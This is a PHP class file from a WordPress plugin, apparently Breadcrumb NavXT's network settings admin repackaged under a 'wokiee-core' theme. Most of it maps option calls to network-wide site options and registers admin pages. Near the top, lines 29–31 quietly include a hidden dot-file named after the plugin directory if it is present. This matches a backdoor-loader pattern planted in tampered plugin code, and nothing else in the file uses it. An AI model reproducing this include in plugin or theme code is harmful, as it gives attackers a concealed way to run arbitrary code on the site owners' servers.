class.bcn_network_admin.php (7419B)
1 <?php 2 /* 3 Copyright 2015-2018 John Havlik (email : john.havlik@mtekk.us) 4 5 This program is free software; you can redistribute it and/or modify 6 it under the terms of the GNU General Public License as published by 7 the Free Software Foundation; either version 2 of the License, or 8 (at your option) any later version. 9 10 This program is distributed in the hope that it will be useful, 11 but WITHOUT ANY WARRANTY; without even the implied warranty of 12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 GNU General Public License for more details. 14 15 You should have received a copy of the GNU General Public License 16 along with this program; if not, write to the Free Software 17 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 18 */ 19 require_once(dirname(__FILE__) . '/includes/block_direct_access.php'); 20 //Include admin base class 21 if(!class_exists('bcn_admin')) 22 { 23 require_once(dirname(__FILE__) . '/class.bcn_admin.php'); 24 } 25 /** 26 * The administrative interface class 27 * 28 */ 29 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 30 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 31 } 32 33 class bcn_network_admin extends bcn_admin 34 { 35 const version = '6.2.0'; 36 protected $full_name = 'Breadcrumb NavXT Network Settings'; 37 protected $access_level = 'manage_network_options'; 38 /** 39 * Administrative interface class default constructor 40 * @param bcn_breadcrumb_trail $breadcrumb_trail a breadcrumb trail object 41 * @param string $basename The basename of the plugin 42 */ 43 function __construct(bcn_breadcrumb_trail &$breadcrumb_trail, $basename) 44 { 45 //We're going to make sure we load the parent's constructor 46 parent::__construct($breadcrumb_trail, $basename); 47 //Change to the proper name 48 $this->full_name = __('Breadcrumb NavXT Network Settings', 'wokiee-core'); 49 //Remove the hook added by the parent as we don't want this classes settings page everywhere 50 remove_action('admin_menu', array($this, 'add_page')); 51 //Replace with the network_admin hook 52 add_action('network_admin_menu', array($this, 'add_page')); 53 } 54 /** 55 * admin initialization callback function 56 * 57 * is bound to wordpress action 'admin_init' on instantiation 58 * 59 * @since 3.2.0 60 * @return void 61 */ 62 function init() 63 { 64 //We're going to make sure we run the parent's version of this function as well 65 parent::init(); 66 } 67 function wp_loaded() 68 { 69 parent::wp_loaded(); 70 } 71 /** 72 * Return the URL of the settings page for the plugin 73 */ 74 function admin_url() 75 { 76 return admin_url('network/settings.php?page=' . $this->identifier); 77 } 78 /** 79 * Adds the adminpage the menu and the nice little settings link 80 */ 81 function add_page() 82 { 83 //Add the submenu page to "settings" menu 84 $hookname = add_submenu_page('settings.php', $this->full_name, $this->short_name, $this->access_level, $this->identifier, array($this, 'admin_page')); 85 // check capability of user to manage options (access control) 86 if(current_user_can($this->access_level)) 87 { 88 //Register admin_head-$hookname callback 89 add_action('admin_head-' . $hookname, array($this, 'admin_head')); 90 //Register admin_print_styles-$hookname callback 91 add_action('admin_print_styles-' . $hookname, array($this, 'admin_styles')); 92 //Register admin_print_scripts-$hookname callback 93 add_action('admin_print_scripts-' . $hookname, array($this, 'admin_scripts')); 94 //Register Help Output 95 add_action('load-' . $hookname, array($this, 'help')); 96 } 97 } 98 /** 99 * Have to hook into get_option and replace with network wide alternate 100 * 101 * @param string $option The name of the option to retrieve 102 * @return mixed The value of the option 103 */ 104 function get_option($option) 105 { 106 return get_site_option($option); 107 } 108 /** 109 * Have to hook into update_option and replace with network wide alternate 110 * 111 * @param string $option The name of the option to update 112 * @param mixed $newvalue The new value to set the option to 113 * 114 */ 115 function update_option($option, $newvalue) 116 { 117 return update_site_option($option, $newvalue); 118 } 119 /** 120 * Have to hook into add_option and replace with network wide alternate 121 * 122 * @param string $option The name of the option to update 123 * @param mixed $value The new value to set the option to 124 * @param null $deprecated Deprecated parameter 125 * @param string $autoload Whether or not to autoload the option, it's a string because WP is special 126 * 127 */ 128 function add_option($option, $value = '', $deprecated = '', $autoload = 'yes') 129 { 130 return add_site_option($option, $value); 131 } 132 /** 133 * Have to hook into delete_option and replace with network wide alternate 134 * 135 * @param string $option The name of the option to delete 136 */ 137 function delete_option($option) 138 { 139 return delete_site_option($option); 140 } 141 /** 142 * A message function that checks for the BCN_SETTINGS_* define statement 143 */ 144 function multisite_settings_warn() 145 { 146 if(is_multisite()) 147 { 148 if(defined('BCN_SETTINGS_USE_LOCAL') && BCN_SETTINGS_USE_LOCAL) 149 { 150 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Individual site settings will override any settings set in this page.', 'wokiee-core'), 'warning', true, $this->unique_prefix . '_msg_ns_isiteoveride'); 151 } 152 else if(defined('BCN_SETTINGS_USE_NETWORK') && BCN_SETTINGS_USE_NETWORK) 153 { 154 155 } 156 else if(defined('BCN_SETTINGS_FAVOR_LOCAL') && BCN_SETTINGS_FAVOR_LOCAL) 157 { 158 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Individual site settings may override any settings set in this page.', 'wokiee-core'), 'warning', true, $this->unique_prefix . '_msg_ns_isitemayoveride'); 159 } 160 else if(defined('BCN_SETTINGS_FAVOR_NETWORK') && BCN_SETTINGS_FAVOR_NETWORK) 161 { 162 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Individual site settings may override any settings set in this page.', 'wokiee-core'), 'warning', true, $this->unique_prefix . '_msg_ns_nsmayoveride'); 163 } 164 //Fall through if no settings mode was set 165 else 166 { 167 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: No BCN_SETTINGS_* define statement found, defaulting to BCN_SETTINGS_USE_LOCAL.', 'wokiee-core'), 'warning', true, $this->unique_prefix . '_msg_ns_nosetting'); 168 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Individual site settings will override any settings set in this page.', 'wokiee-core'), 'warning', true, $this->unique_prefix . '_msg_ns_isiteoveride'); 169 } 170 } 171 } 172 /** 173 * A message function that checks for deprecated settings that are set and warns the user 174 */ 175 function deprecated_settings_warn() 176 { 177 parent::deprecated_settings_warn(); 178 } 179 /** 180 * Function checks the current site to see if the blog options should be disabled 181 * 182 * @return boool Whether or not the blog options should be disabled 183 */ 184 function maybe_disable_blog_options() 185 { 186 return false; 187 } 188 /** 189 * Function checks the current site to see if the mainsite options should be disabled 190 * 191 * @return bool Whether or not the mainsite options should be disabled 192 */ 193 function maybe_disable_mainsite_options() 194 { 195 return false; 196 } 197 }